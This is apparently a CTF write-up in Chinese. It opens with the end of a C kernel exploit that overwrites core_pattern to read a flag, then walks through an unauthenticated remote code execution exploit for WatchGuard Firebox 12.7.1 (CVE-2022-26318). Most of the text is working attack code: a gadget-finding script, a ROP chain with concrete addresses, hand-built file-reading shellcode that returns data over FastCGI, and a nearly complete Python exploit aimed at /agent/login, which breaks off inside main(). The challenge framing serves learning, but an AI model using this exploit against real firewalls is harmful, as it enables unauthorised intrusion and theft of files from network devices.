    waitpid(pid, &status, 0);

    for (tries = 0; tries < 30; tries++) {
        fd = open("/tmp/flag", O_RDONLY);
        if (fd >= 0) {
            ssize_t n = read(fd, flag, sizeof(flag) - 1);
            if (n < 0) {
                die("read /tmp/flag");
            }
            flag[n] = '\0';
            write(STDOUT_FILENO, flag, (size_t)n);
            close(fd);
            return 1;
        }
        usleep(100000);
    }

    return 0;
}

static uint64_t leak_default_handler(int fd, uint64_t *mask_c_out, uint64_t *obj_c_out) {
    uint8_t buf[DATA_SZ];
    uint64_t mask_a;
    uint64_t enc_c;
    uint64_t obj_c;
    uint64_t mask_c;
    uint64_t handler;
    int i;

    if (pin_cpu(0) < 0) {
        die("pin_cpu 0");
    }

    free_range(fd, 0, 48);
    free_slot_if_live(fd, SELF_IDX);
    free_slot_if_live(fd, ARW_IDX);

    for (i = 0; i < SLAB_OBJS; i++) {
        alloc_fill(fd, i, (uint8_t)(0x41 + i));
    }

    if (set_handler_magic(fd, IDX_A, CRIT_MAGIC) >= 0) {
        diex("critical magic did not fail");
    }
    read_job(fd, IDX_A, buf, sizeof(buf));
    mask_a = tail_qword(buf);

    alloc_fill(fd, IDX_A_LIVE, 0x61);
    free_job(fd, IDX_C);
    free_job(fd, IDX_A_LIVE);

    read_job(fd, IDX_A, buf, sizeof(buf));
    enc_c = tail_qword(buf);
    obj_c = enc_c ^ mask_a;

    alloc_fill(fd, IDX_A_REUSE, 0x62);
    alloc_fill(fd, IDX_C_REUSE, 0x63);

    if (set_handler_magic(fd, IDX_C_REUSE, CRIT_MAGIC) >= 0) {
        diex("critical magic on C did not fail");
    }
    read_job(fd, IDX_C_REUSE, buf, sizeof(buf));
    mask_c = tail_qword(buf);

    fill_data(buf, 0x64);
    set_tail_qword(buf, (obj_c - 0x108ULL) ^ mask_c);
    write_job(fd, IDX_C_REUSE, buf, sizeof(buf));

    alloc_fill(fd, IDX_C_CONSUME, 0x65);
    alloc_fill(fd, IDX_FAKE_LEAK, 0x66);

    read_job(fd, IDX_C_REUSE, buf, sizeof(buf));
    memcpy(&handler, buf, sizeof(handler));

    fprintf(stderr, "mask_a=%#016llx enc_c=%#016llx obj_c=%#016llx mask_c=%#016llx handler=%#016llx\n",
            (unsigned long long)mask_a,
            (unsigned long long)enc_c,
            (unsigned long long)obj_c,
            (unsigned long long)mask_c,
            (unsigned long long)handler);

    *mask_c_out = mask_c;
    *obj_c_out = obj_c;
    return handler;
}

static void build_jobs_arw(int fd, uint64_t module_base, uint64_t initial_target) {
    uint8_t buf[DATA_SZ];
    uint64_t jobs_base = module_base + JOBS_OFF;
    uint64_t self_ptr = jobs_base + SELF_IDX * 8ULL - 8ULL;
    uint64_t mask_p;
    int i;

    if (pin_cpu(1) < 0) {
        die("pin_cpu 1");
    }

    for (i = IDX_CPU1_STALE; i < IDX_CPU1_STALE + SLAB_OBJS; i++) {
        alloc_fill(fd, i, (uint8_t)(0x71 + (i - IDX_CPU1_STALE)));
    }

    if (set_handler_magic(fd, IDX_CPU1_STALE, CRIT_MAGIC) >= 0) {
        diex("critical magic on cpu1 slab did not fail");
    }
    read_job(fd, IDX_CPU1_STALE, buf, sizeof(buf));
    mask_p = tail_qword(buf);

    fill_data(buf, 0x81);
    set_tail_qword(buf, self_ptr ^ mask_p);
    write_job(fd, IDX_CPU1_STALE, buf, sizeof(buf));

    alloc_fill(fd, IDX_CPU1_CONSUME, 0x82);

    memset(buf, 0, sizeof(buf));
    ((uint64_t *)buf)[0] = self_ptr;
    ((uint64_t *)buf)[1] = initial_target - 8ULL;
    alloc_job(fd, IDX_FAKE_JOBS, buf, sizeof(buf));

    fprintf(stderr, "module_base=%#016llx jobs_base=%#016llx self_ptr=%#016llx mask_p=%#016llx\n",
            (unsigned long long)module_base,
            (unsigned long long)jobs_base,
            (unsigned long long)self_ptr,
            (unsigned long long)mask_p);
}

static void set_arw_target(int fd, uint64_t module_base, uint64_t target) {
    uint8_t buf[16];
    uint64_t jobs_base = module_base + JOBS_OFF;
    uint64_t self_ptr = jobs_base + SELF_IDX * 8ULL - 8ULL;

    memset(buf, 0, sizeof(buf));
    ((uint64_t *)buf)[0] = self_ptr;
    ((uint64_t *)buf)[1] = target - 8ULL;
    write_job(fd, SELF_IDX, buf, sizeof(buf));
}

static void arb_read(int fd, uint64_t module_base, uint64_t target, void *buf, uint32_t size) {
    set_arw_target(fd, module_base, target);
    read_job(fd, ARW_IDX, buf, size);
}

static void arb_write(int fd, uint64_t module_base, uint64_t target, const void *buf, uint32_t size) {
    set_arw_target(fd, module_base, target);
    write_job(fd, ARW_IDX, buf, size);
}

static uint64_t leak_kernel_slide(int fd, uint64_t module_base, uint64_t default_handler) {
    uint8_t code[0x20];
    int32_t disp;
    uint64_t printk_runtime;

    arb_read(fd, module_base, default_handler, code, sizeof(code));

    {
        int i;

        fprintf(stderr, "default_handler bytes:");
        for (i = 0; i < (int)sizeof(code); i++) {
            fprintf(stderr, " %02x", code[i]);
        }
        fprintf(stderr, "\n");
    }

    if (code[0x13] != 0xe8) {
        diex("unexpected default_handler bytes");
    }

    memcpy(&disp, code + 0x14, sizeof(disp));
    printk_runtime = default_handler + 0x18ULL + (int64_t)disp;

    fprintf(stderr, "printk_runtime=%#016llx\n", (unsigned long long)printk_runtime);
    return printk_runtime - STATIC_PRINTK;
}

int main(void) {
    int fd;
    uint64_t mask_c;
    uint64_t obj_c;
    uint64_t default_handler;
    uint64_t module_base;
    uint64_t slide;
    uint64_t core_pattern;
    char helper_path[8] = "|/tmp/x";

    fd = open("/dev/crossref", O_RDWR);
    if (fd < 0) {
        die("open /dev/crossref");
    }

    default_handler = leak_default_handler(fd, &mask_c, &obj_c);
    module_base = default_handler - DEFAULT_HANDLER_OFF;

    build_jobs_arw(fd, module_base, default_handler);

    slide = leak_kernel_slide(fd, module_base, default_handler);
    core_pattern = STATIC_CORE_PATTERN + slide;

    fprintf(stderr, "default_handler=%#016llx module_base=%#016llx slide=%#016llx core_pattern=%#016llx\n",
            (unsigned long long)default_handler,
            (unsigned long long)module_base,
            (unsigned long long)slide,
            (unsigned long long)core_pattern);

    prepare_helper_files();
    arb_write(fd, module_base, core_pattern, helper_path, sizeof(helper_path));

    if (!trigger_core_pattern_and_print_flag()) {
        diex("failed to retrieve flag");
    }

    return 0;
}

firebox

这题出的好啊

题目要求是:RCE,或者能读取 flag

这题最终走通的是一条未授权利用链,不依赖默认密码,也不需要先登录后台

首先题目说这是一个常见的防火墙,但是有点老了,好像全是栋啊!能社一下吗?

直接给了镜像文件,结合题目优先想到就是找个cve打打

先从镜像里把版本号抠出来,OVF 里能直接看到:

grep -n "FullVersion\|AppUrl" FireboxV_12_7_1_signed.ovf

输出里有两个关键信息:

<FullVersion>12.7.1 B644848</FullVersion>
<AppUrl>https://${vami.ip0.fireboxv}:8080/</AppUrl>,

这时候方向基本就很清楚了,WatchGuard Firebox,版本 12.7.1 B644848,Web 管理口在 8080

结合公开资料和未授权rce找到比较符合的就是CVE-2022-26318

而这题的我参考的核心就是 CVE-2022-26318

漏洞入口是未授权的 /agent/login

参考的公开poc和资料:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318.rb还有https://github.com/misterxid/watchguard_cve-2022-26318

这个漏洞的特点是入口在未授权的 /agent/login,攻击者发一个恶意 gzip XML-RPC 包给 wgagent,在 XML 解析过程中把控制流带偏,最后能拿到 RCE

一开始需要手动配下环境,网卡我这边是一个 NAT,一个 Host-only,从接入的 VMware 虚拟网段里拿到的地址,然后在浏览器打开

show interface可以查看当前从 DHCP 配置拿到的地址,至于登录,admin/readwrite 是 WatchGuard Firebox 官方公开的默认内置管理账号口令

浏览器能打开就说明成功了

polaris81

然后就用这个网址当靶机去测试

公开 PoC 的总体思路是对的

但是公开 PoC 的 gadget 和 first-hop tag 不适用于这份 12.7.1 B644848 镜像

所以不能直接拿 MFA + public gadget 硬打

需要先重新挖当前 build 的 executable gadget,再换一条稳定的 second stage

最后最稳的结果面不是反弹 shell,而是直接把文件内容通过 FastCGI 响应回显出来

这题如果一上来就盲改参数,很容易在 502、无回显、回连不稳定之间绕圈最后我走通的是一条未授权利用链,不需要默认密码,也不需要先登录后台。

接下来我先照着公开 PoC 的思路跑了一遍。公开链最核心的 payload 形状是这样的:

payload  = b"<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><"
payload += b"A" * 3181
payload += b"MFA>"
payload += b"<BBBBMFA>" * 3680

这个布局不是随手拍脑袋出来的,它有三个作用:

  1. A * 3181 把内存布局顶到刚好的位置;
  2. MFA> 这个三字符 tag 会参与后续的 first-hop;
  3. "<BBBBMFA>" * 3680 用大量重复 tag 把后面的解析过程带到我们想要的栈布局上。

但是这题真正难的地方也在这里,公开 PoC 只能告诉你利用思路,不能保证当前 build 的 gadget 还能用

我最开始就踩了这个坑。直接照抄公开 PoC 里的 MFA + public gadget 去打本地镜像,现象非常迷惑:

  • 有时直接 502 Bad Gateway
  • 有时连接断掉
  • 有时看起来像命中了溢出,但就是死活进不了第二阶段

后来把问题拆开看,才发现错的不是漏洞思路,而是当前 build 对应的 first-hop 和 ROP 地址已经变了

先说 first-hop,公开资料里常见的是:

MFA -> 0x41464d

这里利用的是小端序,三个 ASCII 字节:

'M' = 0x4d
'F' = 0x46
'A' = 0x41

在 64 位小端机器上,如果这三个字节正好出现在某个地址的低三字节,那么从控制流角度看,它对应的就是:

0x41464d

问题是当前题目镜像并不是公开样本那一份。我把 wgagent 从镜像里提出来之后,专门写了个小脚本去扫“既像 XML tag,又能落成可用 first-hop 的地址”。扫描思路不复杂:

  1. 在可执行段里找 ret imm16,也就是字节 c2 xx xx
  2. 把地址的低三字节取出来,检查它们能不能组成合法 XML 名字;
  3. 把最接近公开链长度补偿的候选点列出来。

核心代码就是这几行:

from pathlib import Path


def xml_name_ok(b0: int, b1: int, b2: int) -> bool:
   def start_ok(b: int) -> bool:
       return (0x41 <= b <= 0x5A) or (0x61 <= b <= 0x7A) or b == 0x5F

   def body_ok(b: int) -> bool:
       return start_ok(b) or (0x30 <= b <= 0x39) or b in (0x2D, 0x2E)

   return start_ok(b0) and body_ok(b1) and body_ok(b2)


data = Path("wgagent_real_rx.bin").read_bytes()
base = 0x400000

for off in range(len(data) - 3):
   if data[off] != 0xC2:
       continue
   imm = data[off + 1] | (data[off + 2] << 8)
   addr = base + off
   b0 = addr & 0xFF
   b1 = (addr >> 8) & 0xFF
   b2 = (addr >> 16) & 0xFF
   if not xml_name_ok(b0, b1, b2):
       continue
   tag = bytes((b0, b1, b2)).decode("latin1")
   print(hex(addr), tag, hex(imm))

最后真正打通的是这个点:

0x41456d  tag = mEA  imm = 0x90be

也就是说,这题 first-hop 要从公开的 MFA 换成:

mEA

为什么这个点能用?因为它从中间切进一条指令之后,反汇编出来是:

0x41456d: ret 0x90be

这一步挺典型的 ROP 思路:x86_64 是变长指令,很多 gadget 并不是“函数里本来就整整齐齐写在那”的,而是你从某个地址切进去,刚好把后半截解释成了另一条能用的指令。

first-hop 搞定之后,第二个问题就是第二阶段 ROP。最终稳定的这一套 gadget 是:

FIRST_HOP_TAG = "mEA"

REAL_RET = 0x405020
REAL_RET_2 = 0x40F888
REAL_POP_RAX_RBX_RBP_RET = 0x41D52E
REAL_POP_RSI_R15_RET = 0x41D4D1
REAL_PUSH_RBP_MOV_RBP_RSP_CALL_RAX = 0x405E7C
REAL_MOV_RBP_RSP_CALL_RAX = 0x405E7D
REAL_LEA_RDX_RBP_M80_CALL_RAX = 0x41D1CD
REAL_ADD_RAX_RDX_JMP_RAX = 0x40A84A

第二阶段链本体是:

import struct


def p64(x):
   return struct.pack("<Q", x)


def build_real_assetnote_exact_chain():
   body = (
       p64(REAL_POP_RAX_RBX_RBP_RET)
       + p64(REAL_POP_RSI_R15_RET)
       + p64(0)
       + p64(0)
       + p64(REAL_MOV_RBP_RSP_CALL_RAX)
       + p64(0)
       + p64(REAL_PUSH_RBP_MOV_RBP_RSP_CALL_RAX)
       + p64(REAL_LEA_RDX_RBP_M80_CALL_RAX)
       + p64(0)
       + p64(REAL_POP_RAX_RBX_RBP_RET)
       + p64(0xC0)
       + p64(0)
       + p64(0)
       + p64(REAL_ADD_RAX_RDX_JMP_RAX)
  )
   return p64(REAL_RET) + p64(REAL_RET_2) + p64(REAL_RET) + b"\x00\x00" + body

这条链不是为了“直接 system(‘/bin/sh’)”,它干的是另一件事:把控制流稳稳地送到我们自己放在 payload 后面的 shellcode。

具体过程是这样的:

  1. REAL_RETREAL_RET_2 先把前面的栈消费掉,调到正确偏移;
  2. REAL_MOV_RBP_RSP_CALL_RAX 把当前 rsp 固定到 rbp 上,建立一个稳定的参考点;
  3. REAL_LEA_RDX_RBP_M80_CALL_RAX 算出 rbp - 0x80 一类的相对位置;
  4. 第二次 pop rax0xC0 塞进 rax
  5. REAL_ADD_RAX_RDX_JMP_RAXrax = rdx + 0xC0,最后直接 jmp rax 跳进 shellcode。

说白了就是三件事:

  • 对齐栈
  • 锚定栈
  • 通过相对偏移跳到 shellcode

payload 布局我最后定下来是这个版本:

import gzip


HEAD_PAD_LEN = 3181
TAG_REPEAT_COUNT = 3680
STAGE2_PADDING = 231


def build_payload(shellcode: bytes) -> bytes:
   payload = (
       b"<methodCall><methodName>agent.login</methodName><params>"
       b"<param><value><struct><member><value><"
  )
   payload += b"A" * HEAD_PAD_LEN
   payload += b"mEA>"
   payload += b"<BBBBmEA>" * TAG_REPEAT_COUNT
   payload += b"\x00" * STAGE2_PADDING
   payload += build_real_assetnote_exact_chain()
   payload += shellcode
   return gzip.compress(payload, 9)

这里还有个很坑的细节。我中间一度试过在重复 tag 后面再补两个字节:

<BBBBmEA> * 3680 + "AA"

结果就是整条链总差一点。后来回头对照公开 PoC 才发现,稳定命中的布局里根本不该有这个尾巴。这个坑非常阴,表面上看只是多两个字节,实际上 second-stage 的落点会整个错掉。

到这里为止,其实还只是“能跳到我们自己的代码”。真正让我卡了最久的是结果面

我一开始的想法很自然:既然拿到执行流了,那就直接自己 open/read/write,不就把文件内容写回去了?

最早试的是这种思路:

open("/flag.txt")
read(...)
write(fd, b"Content-Type: text/plain\r\n\r\n" + data)

看起来没毛病,实际上经常得到这些现象:

  • 没响应
  • EOF occurred in violation of protocol
  • 502 Bad Gateway

原因后来想明白了:这条请求链不是简单 TCP 服务,而是 nginx 前面接 FastCGI,后面才是 wgagent

所以前端等的不是一段裸 HTTP body,而是标准的 FastCGI record。只写纯文本当然也可能把字节送出去了,但 nginx 读不懂,就会把你当成坏上游。

FastCGI 这里真正要写的是三段:

  1. 一个 FCGI_STDOUT,里面放 Content-Type 和正文;
  2. 一个空的 FCGI_STDOUT,表示输出结束;
  3. 一个 FCGI_END_REQUEST,告诉前端请求结束。

我最后用的三个固定头是:

stdout_header = b"\x01\x06\x00\x01\x00\x00\x00\x00"
empty_stdout = b"\x01\x06\x00\x01\x00\x00\x00\x00"
end_request = b"\x01\x03\x00\x01\x00\x08\x00\x00" + (b"\x00" * 8)

然后在 shellcode 里动态把 contentLength 填进去。完整的“读文件并回显” shellcode 生成函数如下:

def build_response_readfile_shellcode(target_path, fd_list, read_size=2048):
   path_bytes = target_path.encode() + b"\x00"
   content_header = b"Content-Type: text/plain\r\n\r\n"
   stdout_header = b"\x01\x06\x00\x01\x00\x00\x00\x00"
   empty_stdout = b"\x01\x06\x00\x01\x00\x00\x00\x00"
   end_request = b"\x01\x03\x00\x01\x00\x08\x00\x00" + (b"\x00" * 8)
   open_fail = f"OPEN_FAILED {target_path}\n".encode()
   read_fail = f"READ_FAILED {target_path}\n".encode()

   code = bytearray()
   patches = {}

   code += b"\x48\x8d\x3d\x00\x00\x00\x00"
   patches["path"] = len(code) - 4
   code += b"\x31\xf6"
   code += b"\x31\xd2"
   code += b"\xb8\x02\x00\x00\x00"
   code += b"\x0f\x05"
   code += b"\x48\x85\xc0"
   code += b"\x0f\x88\x00\x00\x00\x00"
   patches["js_open_fail"] = len(code) - 4

   code += b"\x49\x89\xc4"
   code += b"\x48\x81\xec" + struct.pack("<I", read_size)
   code += b"\x4c\x89\xe7"
   code += b"\x48\x89\xe6"
   code += b"\xba" + struct.pack("<I", read_size)
   code += b"\x31\xc0"
   code += b"\x0f\x05"
   code += b"\x48\x85\xc0"
   code += b"\x0f\x88\x00\x00\x00\x00"
   patches["js_read_fail"] = len(code) - 4

   code += b"\x49\x89\xc5"
   code += b"\x49\x89\xe6"
   code += b"\xe9\x00\x00\x00\x00"
   patches["jmp_prepare_send"] = len(code) - 4

   open_fail_off = len(code)
   code += b"\x4c\x8d\x35\x00\x00\x00\x00"
   patches["open_fail_text"] = len(code) - 4
   code += b"\x49\xc7\xc5" + struct.pack("<I", len(open_fail))
   code += b"\xe9\x00\x00\x00\x00"
   patches["jmp_from_open_fail"] = len(code) - 4

   read_fail_off = len(code)
   code += b"\x4c\x8d\x35\x00\x00\x00\x00"
   patches["read_fail_text"] = len(code) - 4
   code += b"\x49\xc7\xc5" + struct.pack("<I", len(read_fail))
   code += b"\xe9\x00\x00\x00\x00"
   patches["jmp_from_read_fail"] = len(code) - 4

   prepare_send_off = len(code)
   code += b"\x48\x8d\x1d\x00\x00\x00\x00"
   patches["stdout_header"] = len(code) - 4
   code += b"\x4c\x8d\x05\x00\x00\x00\x00"
   patches["empty_stdout"] = len(code) - 4
   code += b"\x4c\x8d\x0d\x00\x00\x00\x00"
   patches["end_request"] = len(code) - 4
   code += b"\x4c\x8d\x15\x00\x00\x00\x00"
   patches["content_header"] = len(code) - 4
   code += b"\x4d\x89\xef"
   code += b"\x49\x83\xc7" + bytes([len(content_header)])
   code += b"\x66\x44\x89\xf8"
   code += b"\x86\xe0"
   code += b"\x66\x89\x43\x04"

   for fd in fd_list:
       code += b"\xbf" + struct.pack("<I", fd)
       code += b"\x48\x89\xde"
       code += b"\xba\x08\x00\x00\x00"
       code += b"\xb8\x01\x00\x00\x00"
       code += b"\x0f\x05"

       code += b"\xbf" + struct.pack("<I", fd)
       code += b"\x4c\x89\xd6"
       code += b"\xba" + struct.pack("<I", len(content_header))
       code += b"\xb8\x01\x00\x00\x00"
       code += b"\x0f\x05"

       code += b"\xbf" + struct.pack("<I", fd)
       code += b"\x4c\x89\xf6"
       code += b"\x4c\x89\xea"
       code += b"\xb8\x01\x00\x00\x00"
       code += b"\x0f\x05"

       code += b"\xbf" + struct.pack("<I", fd)
       code += b"\x4c\x89\xc6"
       code += b"\xba\x08\x00\x00\x00"
       code += b"\xb8\x01\x00\x00\x00"
       code += b"\x0f\x05"

       code += b"\xbf" + struct.pack("<I", fd)
       code += b"\x4c\x89\xce"
       code += b"\xba\x10\x00\x00\x00"
       code += b"\xb8\x01\x00\x00\x00"
       code += b"\x0f\x05"

   code += b"\xb8\x3c\x00\x00\x00"
   code += b"\x31\xff"
   code += b"\x0f\x05"

   stdout_header_off = len(code)
   code += stdout_header
   empty_stdout_off = len(code)
   code += empty_stdout
   end_request_off = len(code)
   code += end_request
   content_header_off = len(code)
   code += content_header
   open_fail_text_off = len(code)
   code += open_fail
   read_fail_text_off = len(code)
   code += read_fail
   path_off = len(code)
   code += path_bytes

   for key, target_off in {
       "path": path_off,
       "stdout_header": stdout_header_off,
       "empty_stdout": empty_stdout_off,
       "end_request": end_request_off,
       "content_header": content_header_off,
       "open_fail_text": open_fail_text_off,
       "read_fail_text": read_fail_text_off,
  }.items():
       disp = target_off - (patches[key] + 4)
       code[patches[key] : patches[key] + 4] = struct.pack("<i", disp)

   for key, target_off in {
       "js_open_fail": open_fail_off,
       "js_read_fail": read_fail_off,
       "jmp_prepare_send": prepare_send_off,
       "jmp_from_open_fail": prepare_send_off,
       "jmp_from_read_fail": prepare_send_off,
  }.items():
       disp = target_off - (patches[key] + 4)
       code[patches[key] : patches[key] + 4] = struct.pack("<i", disp)

   return bytes(code)

本地把这条链调通之后,我先拿 /etc/passwd 做健康检查,因为它一定存在,结果确实能稳定回显。反而本地镜像里一直没找到题目的 flag,我把 /flag/flag.txt/root/flag*/home/admin/flag* 都翻了,support dump 里也没看到真正的比赛 flag,只能说明一件事:本地 OVA 更像是给你调试利用链的,真正的 flag 在远端环境。

最后交到远端的时候,流程很简单:

先发一个 marker 包,确认未授权 RCE 已经成立:

python3 firebox_final.py 114.66.24.203 --mode marker --marker REMOTE8080_OK

返回里能看到:

HTTP/1.1 200 OK
REMOTE8080_OK

这一步等于告诉我两件事:

  1. 远端 8080/agent/login 这条链是通的;
  2. 这不是本地特供,远端也是同一类环境。

然后再读文件。先试:

python3 firebox_final.py 114.66.24.203 --mode read --path /etc/passwd

能回显 /etc/passwd 说明读取能力没问题。接着我先猜了 /flag

python3 firebox_final.py 114.66.24.203 --mode read --path /flag

返回:

OPEN_FAILED /flag

这就说明问题不是权限,而是路径猜错了。再换成:

python3 firebox_final.py 114.66.24.203 --mode read --path /flag.txt

这次就直接出了:

polaris{93027e64-bba8-44f7-aa86-ff00f6ccd907}

最后我真正交上去的是一个单文件 exploit,思路就保留两种模式:

  • marker:验证 RCE
  • read:读指定文件

完整代码如下:

#!/usr/bin/env python3
import argparse
import gzip
import socket
import ssl
import struct


HEAD_PAD_LEN = 3181
TAG_REPEAT_COUNT = 3680
STAGE2_PADDING = 231
FIRST_HOP_TAG = b"mEA"

REAL_RET = 0x405020
REAL_RET_2 = 0x40F888
REAL_POP_RAX_RBX_RBP_RET = 0x41D52E
REAL_POP_RSI_R15_RET = 0x41D4D1
REAL_PUSH_RBP_MOV_RBP_RSP_CALL_RAX = 0x405E7C
REAL_MOV_RBP_RSP_CALL_RAX = 0x405E7D
REAL_LEA_RDX_RBP_M80_CALL_RAX = 0x41D1CD
REAL_ADD_RAX_RDX_JMP_RAX = 0x40A84A
RESPONSE_FDS = [4, 5, 6, 7, 8, 9, 10, 11, 12]


def p64(x: int) -> bytes:
   return struct.pack("<Q", x)


def build_real_assetnote_exact_chain() -> bytes:
   body = (
       p64(REAL_POP_RAX_RBX_RBP_RET)
       + p64(REAL_POP_RSI_R15_RET)
       + p64(0)
       + p64(0)
       + p64(REAL_MOV_RBP_RSP_CALL_RAX)
       + p64(0)
       + p64(REAL_PUSH_RBP_MOV_RBP_RSP_CALL_RAX)
       + p64(REAL_LEA_RDX_RBP_M80_CALL_RAX)
       + p64(0)
       + p64(REAL_POP_RAX_RBX_RBP_RET)
       + p64(0xC0)
       + p64(0)
       + p64(0)
       + p64(REAL_ADD_RAX_RDX_JMP_RAX)
  )
   return p64(REAL_RET) + p64(REAL_RET_2) + p64(REAL_RET) + b"\x00\x00" + body


def build_marker_shellcode(marker_text: bytes, fd_list) -> bytes:
   content = b"Content-Type: text/plain\r\n\r\n" + marker_text
   stdout_header = (
       b"\x01\x06\x00\x01"
       + struct.pack(">H", len(content))
       + b"\x00\x00"
  )
   empty_stdout = b"\x01\x06\x00\x01\x00\x00\x00\x00"
   end_request = b"\x01\x03\x00\x01\x00\x08\x00\x00" + (b"\x00" * 8)
   record = stdout_header + content + empty_stdout + end_request

   shellcode = b"\x48\x89\xe6"
   shellcode += b"\x48\x81\xc6" + struct.pack("<I", 0)
   shellcode += b"\xba" + struct.pack("<I", len(record))
   for fd in fd_list:
       shellcode += b"\xbf" + struct.pack("<I", fd)
       shellcode += b"\xb8\x01\x00\x00\x00"
       shellcode += b"\x0f\x05"
   shellcode += b"\xb8\x3c\x00\x00\x00"
   shellcode += b"\x31\xff"
   shellcode += b"\x0f\x05"
   shellcode = shellcode[:6] + struct.pack("<I", len(shellcode)) + shellcode[10:]
   return shellcode + record


def build_response_readfile_shellcode(target_path: str, fd_list, read_size=2048) -> bytes:
   path_bytes = target_path.encode() + b"\x00"
   content_header = b"Content-Type: text/plain\r\n\r\n"
   stdout_header = b"\x01\x06\x00\x01\x00\x00\x00\x00"
   empty_stdout = b"\x01\x06\x00\x01\x00\x00\x00\x00"
   end_request = b"\x01\x03\x00\x01\x00\x08\x00\x00" + (b"\x00" * 8)
   open_fail = f"OPEN_FAILED {target_path}\n".encode()
   read_fail = f"READ_FAILED {target_path}\n".encode()

   code = bytearray()
   patches = {}

   code += b"\x48\x8d\x3d\x00\x00\x00\x00"
   patches["path"] = len(code) - 4
   code += b"\x31\xf6"
   code += b"\x31\xd2"
   code += b"\xb8\x02\x00\x00\x00"
   code += b"\x0f\x05"
   code += b"\x48\x85\xc0"
   code += b"\x0f\x88\x00\x00\x00\x00"
   patches["js_open_fail"] = len(code) - 4

   code += b"\x49\x89\xc4"
   code += b"\x48\x81\xec" + struct.pack("<I", read_size)
   code += b"\x4c\x89\xe7"
   code += b"\x48\x89\xe6"
   code += b"\xba" + struct.pack("<I", read_size)
   code += b"\x31\xc0"
   code += b"\x0f\x05"
   code += b"\x48\x85\xc0"
   code += b"\x0f\x88\x00\x00\x00\x00"
   patches["js_read_fail"] = len(code) - 4
   code += b"\x49\x89\xc5"
   code += b"\x49\x89\xe6"
   code += b"\xe9\x00\x00\x00\x00"
   patches["jmp_prepare_send"] = len(code) - 4

   open_fail_off = len(code)
   code += b"\x4c\x8d\x35\x00\x00\x00\x00"
   patches["open_fail_text"] = len(code) - 4
   code += b"\x49\xc7\xc5" + struct.pack("<I", len(open_fail))
   code += b"\xe9\x00\x00\x00\x00"
   patches["jmp_from_open_fail"] = len(code) - 4

   read_fail_off = len(code)
   code += b"\x4c\x8d\x35\x00\x00\x00\x00"
   patches["read_fail_text"] = len(code) - 4
   code += b"\x49\xc7\xc5" + struct.pack("<I", len(read_fail))
   code += b"\xe9\x00\x00\x00\x00"
   patches["jmp_from_read_fail"] = len(code) - 4

   prepare_send_off = len(code)
   code += b"\x48\x8d\x1d\x00\x00\x00\x00"
   patches["stdout_header"] = len(code) - 4
   code += b"\x4c\x8d\x05\x00\x00\x00\x00"
   patches["empty_stdout"] = len(code) - 4
   code += b"\x4c\x8d\x0d\x00\x00\x00\x00"
   patches["end_request"] = len(code) - 4
   code += b"\x4c\x8d\x15\x00\x00\x00\x00"
   patches["content_header"] = len(code) - 4
   code += b"\x4d\x89\xef"
   code += b"\x49\x83\xc7" + bytes([len(content_header)])
   code += b"\x66\x44\x89\xf8"
   code += b"\x86\xe0"
   code += b"\x66\x89\x43\x04"

   for fd in fd_list:
       code += b"\xbf" + struct.pack("<I", fd)
       code += b"\x48\x89\xde"
       code += b"\xba\x08\x00\x00\x00"
       code += b"\xb8\x01\x00\x00\x00"
       code += b"\x0f\x05"

       code += b"\xbf" + struct.pack("<I", fd)
       code += b"\x4c\x89\xd6"
       code += b"\xba" + struct.pack("<I", len(content_header))
       code += b"\xb8\x01\x00\x00\x00"
       code += b"\x0f\x05"

       code += b"\xbf" + struct.pack("<I", fd)
       code += b"\x4c\x89\xf6"
       code += b"\x4c\x89\xea"
       code += b"\xb8\x01\x00\x00\x00"
       code += b"\x0f\x05"

       code += b"\xbf" + struct.pack("<I", fd)
       code += b"\x4c\x89\xc6"
       code += b"\xba\x08\x00\x00\x00"
       code += b"\xb8\x01\x00\x00\x00"
       code += b"\x0f\x05"

       code += b"\xbf" + struct.pack("<I", fd)
       code += b"\x4c\x89\xce"
       code += b"\xba\x10\x00\x00\x00"
       code += b"\xb8\x01\x00\x00\x00"
       code += b"\x0f\x05"

   code += b"\xb8\x3c\x00\x00\x00"
   code += b"\x31\xff"
   code += b"\x0f\x05"

   stdout_header_off = len(code)
   code += stdout_header
   empty_stdout_off = len(code)
   code += empty_stdout
   end_request_off = len(code)
   code += end_request
   content_header_off = len(code)
   code += content_header
   open_fail_text_off = len(code)
   code += open_fail
   read_fail_text_off = len(code)
   code += read_fail
   path_off = len(code)
   code += path_bytes

   for key, target_off in {
       "path": path_off,
       "stdout_header": stdout_header_off,
       "empty_stdout": empty_stdout_off,
       "end_request": end_request_off,
       "content_header": content_header_off,
       "open_fail_text": open_fail_text_off,
       "read_fail_text": read_fail_text_off,
  }.items():
       disp = target_off - (patches[key] + 4)
       code[patches[key] : patches[key] + 4] = struct.pack("<i", disp)

   for key, target_off in {
       "js_open_fail": open_fail_off,
       "js_read_fail": read_fail_off,
       "jmp_prepare_send": prepare_send_off,
       "jmp_from_open_fail": prepare_send_off,
       "jmp_from_read_fail": prepare_send_off,
  }.items():
       disp = target_off - (patches[key] + 4)
       code[patches[key] : patches[key] + 4] = struct.pack("<i", disp)

   return bytes(code)


def build_payload(shellcode: bytes) -> bytes:
   payload = (
       b"<methodCall><methodName>agent.login</methodName><params>"
       b"<param><value><struct><member><value><"
       + b"A" * HEAD_PAD_LEN
       + FIRST_HOP_TAG
       + b">"
       + (b"<BBBB" + FIRST_HOP_TAG + b">") * TAG_REPEAT_COUNT
       + b"\x00" * STAGE2_PADDING
       + build_real_assetnote_exact_chain()
       + shellcode
  )
   return gzip.compress(payload, 9)


def build_http(host: str, port: int, body: bytes) -> bytes:
   headers = [
       "POST /agent/login HTTP/1.1",
       f"Host: {host}:{port}",
       "User-Agent: CVE-2022-26318",
       "Accept-Encoding: gzip, deflate",
       "Accept: */*",
       "Connection: close",
       "Content-Encoding: gzip",
       f"Content-Length: {len(body)}",
       "",
       "",
  ]
   return "\r\n".join(headers).encode() + body


def recv_all(sock):
   out = []
   while True:
       try:
           chunk = sock.recv(4096)
       except socket.timeout:
           break
       if not chunk:
           break
       out.append(chunk)
   return b"".join(out)


def main():
   parser = argparse.ArgumentParser()
   parser.add_argument("rhost")
   parser.add_argument("--rport", type=int, default=8080)
   parser.add_argument("--mode", choices=["marker", "read"], default="marker")
   parser.add_argument("--marker", default="RCE1271_OK")
   parser.add_argument("--path", default="/flag.txt")
   parser.add_argument("--timeout", type=float, default=6.0)
   args = parser.parse_args()

   if args.mode == "marker":
       shellcode = build_marker_shellcode(args.marker.encode(), RESPONSE_FDS)
